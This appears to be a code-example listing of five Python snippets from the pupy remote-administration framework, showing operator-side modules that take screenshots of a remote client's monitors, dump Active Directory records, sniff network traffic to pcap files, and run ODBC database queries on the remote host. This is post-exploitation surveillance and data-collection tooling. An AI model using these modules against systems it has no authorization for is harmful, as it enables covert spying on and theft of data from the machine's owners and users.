示例#1
0
    def run(self, args):
        screens = self.client.remote('screenshot', 'screens')
        screenshot = self.client.remote('screenshot', 'screenshot')

        if self.client.is_android():
            self.error("Android target, not implemented yet...")

        else:
            if args.enum:
                self.rawlog('{:>2} {:>9} {:>9}\n'.format('IDX', 'SIZE', 'LEFT'))
                for i, screen in enumerate(screens()):
                    if not (screen['width'] and screen['height']):
                        continue

                    self.rawlog('{:>2}: {:>9} {:>9}\n'.format(
                        i,
                        '{}x{}'.format(screen['width'], screen['height']),
                        '({}x{})'.format(screen['top'], screen['left'])))
                return

            config = self.client.pupsrv.config or PupyConfig()
            filepath_base = config.get_file('screenshots', {'%c': self.client.short_name()})

            try:
                screenshots, error = screenshot(args.screen)
            except Exception, e:
                self.error('Impossible to take a screenshot ("{0}"). Abording...'.format(e))
                return -1
            if not screenshots:
                self.error(error)
                return -1
            else:
                self.success('number of monitor detected: %s' % str(len(screenshots)))

                for i, screenshot in enumerate(screenshots):
                    filepath = filepath_base + '-{}.png'.format(i)
                    with open(filepath, 'w') as out:
                        out.write(screenshot)
                        self.success(filepath)

                    if args.view:
                        viewer = config.get('default_viewers', 'image_viewer') or 'xdg-open'

                        found = False
                        for p in os.environ.get('PATH', '').split(':'):
                            if os.path.exists(os.path.join(p, viewer)):
                                with open(os.devnull, 'w') as DEVNULL:
                                    subprocess.Popen(
                                        [viewer, filepath],
                                        stdin=DEVNULL, stdout=DEVNULL, stderr=DEVNULL)

                                found = True
                                break

                        if not found:
                            self.error('Default viewer not found: %s' % viewer)
示例#2
0
文件: ad.py 项目: yalpdevx/pupy
        def on_data(name, payload):
            if name == 'dns':
                self.success('DNS server selected: {}'.format(payload))
            elif name == 'ldap':
                self.success('LDAP server selected: {}'.format(payload))
            elif name == 'error':
                self.error('Error: {}'.format(payload))
            else:
                is_first = False

                if context['last_name'] != name:
                    is_first = True

                    if context['last_name']:
                        self.success('Completed {}'.format(
                            context['last_name']))

                    dest = config.get_file(
                        'ad', {
                            r'%c': self.client.short_name(),
                            r'%n': basename(name),
                            r'%r': args.realm
                        })

                    self.success('Dumping {} -> {}'.format(name, dest))
                    context['last_name'] = name
                    if context['last_fobj']:
                        context['last_fobj'].write(u'\n]')
                        context['last_fobj'].close()

                    context['last_fobj'] = io_open(dest,
                                                   'w+',
                                                   encoding='utf-8')

                    context['last_fobj'].write(u'[\n')

                for record in from_tuple_deep(payload):
                    if is_first:
                        is_first = False
                    else:
                        context['last_fobj'].write(u',')

                    record_json = dumps(record,
                                        indent=2,
                                        sort_keys=True,
                                        default=json_default,
                                        ensure_ascii=False)

                    context['last_fobj'].write(record_json)
示例#3
0
    def run(self, args):
        self.sniff_sess = None

        filepath = None

        if self.client.is_windows():
            from modules.lib.windows.winpcap import init_winpcap
            init_winpcap(self.client)

        pktwriter = None

        if args.save_pcap:
            config = self.client.pupsrv.config
            filepath = config.get_file('pcaps',
                                       {'%c': self.client.short_name()})
            pktwriter = PcapWriter(filepath, append=True, sync=True)

        tcpdump = self.client.remote('tcpdump', 'run', False)

        self.wait.clear()

        try:
            name, self.terminate = tcpdump(self.printer(pcap_writer=pktwriter),
                                           self.on_error,
                                           args.iface,
                                           args.bpf,
                                           args.timeout,
                                           count=args.count)

            self.success(u'Scapy tcpdump on "{}" - started'.format(name))
            self.wait.wait()
            self.success(u'Scapy tcpdump on "{}" - completed'.format(name))

            if filepath:
                self.info('Pcap stored to: {}'.format(filepath))

        except Exception, e:
            self.wait.set()
            self.error('Error: ' +
                       ' '.join(x
                                for x in e.args if type(x) in (str, unicode)))
示例#4
0
    def run(self, args):
        screens = self.client.remote('screenshot', 'screens')
        screenshot = self.client.remote('screenshot', 'screenshot')

        if self.client.is_android() == True:
            self.error("Android target, not implemented yet...")

        else:
            if args.enum:
                self.rawlog('{:>2} {:>9} {:>9}\n'.format(
                    'IDX', 'SIZE', 'LEFT'))
                for i, screen in enumerate(screens()):
                    if not (screen['width'] and screen['height']):
                        continue

                    self.rawlog('{:>2}: {:>9} {:>9}\n'.format(
                        i, '{}x{}'.format(screen['width'], screen['height']),
                        '({}x{})'.format(screen['top'], screen['left'])))
                return

            config = self.client.pupsrv.config or PupyConfig()
            filepath_base = config.get_file('screenshots',
                                            {'%c': self.client.short_name()})

            screenshots, error = screenshot(args.screen)
            if not screenshots:
                self.error(error)
            else:
                self.success('number of monitor detected: %s' %
                             str(len(screenshots)))

                for i, screenshot in enumerate(screenshots):
                    filepath = filepath_base + '-{}.png'.format(i)
                    with open(filepath, 'w') as out:
                        out.write(screenshot)
                        self.success(filepath)

                    if args.view:
                        viewer = config.get('default_viewers', 'image_viewer')
                        subprocess.Popen([viewer, filepath])
示例#5
0
    def query(self, args):
        if not args.query:
            self.error('Query is not specified')
            return

        query = ' '.join(args.query)

        many = self.client.remote('odbc', 'many', False)

        completion = Event()
        header = []

        output = None

        total = Counter()

        if args.dump:
            config = self.client.pupsrv.config or PupyConfig()
            now = str(datetime.now())
            digest = md5(now + query).hexdigest()
            output = config.get_file('odbc', {
                '%c': self.client.short_name(),
                '%d': digest
            })

            index = join(dirname(output), 'index.txt')

            self.info('Dumping to {}'.format(output))
            output = open(output, 'w+', encoding='utf-8')

            with open(index, 'a+') as indexobj:
                indexobj.write(u'{}\t{}\t{}\n'.format(digest, now, query))

        def on_data(code, payload):
            if code == END:
                completion.set()
                if args.verbose:
                    self.info('DONE [Total: {}]'.format(total))
            elif code == HEADER:
                del header[:]
                header.extend(payload)
                if output or args.tabs:
                    tabbed = u'\t'.join(_asunicode(col[0]) for col in header)
                    if output:
                        output.write(tabbed + '\n')
                    else:
                        self.log(tabbed)
            elif code == LOG:
                if args.verbose:
                    self.info(payload)
            elif code == ERROR:
                self.error(payload)
                completion.set()
            elif code != DATA:
                self.error('Unexpected code {}'.format(code))
            elif payload is None:
                return
            elif output or args.tabs:
                total.inc(len(payload))
                for record in payload:
                    tabbed = '\t'.join(_asunicode(col) for col in record)
                    if output:
                        output.write(tabbed + '\n')
                    else:
                        self.log(tabbed)
            elif args.table:
                titles = tuple(col[0] for col in header)
                total.inc(len(payload))

                self.log(
                    Table([{
                        title: value
                        for title, value in zip(titles, values)
                    } for values in payload], titles))
            else:
                total.inc(len(payload))
                titles = tuple(col[0] for col in header)

                if len(header) == 1:
                    for record in payload:
                        self.log(record[0])
                else:
                    for record in payload:
                        self.log(
                            List([
                                u'{}: {}'.format(title, value)
                                for (title, value) in zip(titles, record)
                            ]))
                        self.log(NewLine())

        if args.verbose:
            self.info('QUERY: {} LIMIT: {}'.format(query, args.limit))

        self.terminate = many(args.alias, query, args.limit, on_data)

        completion.wait()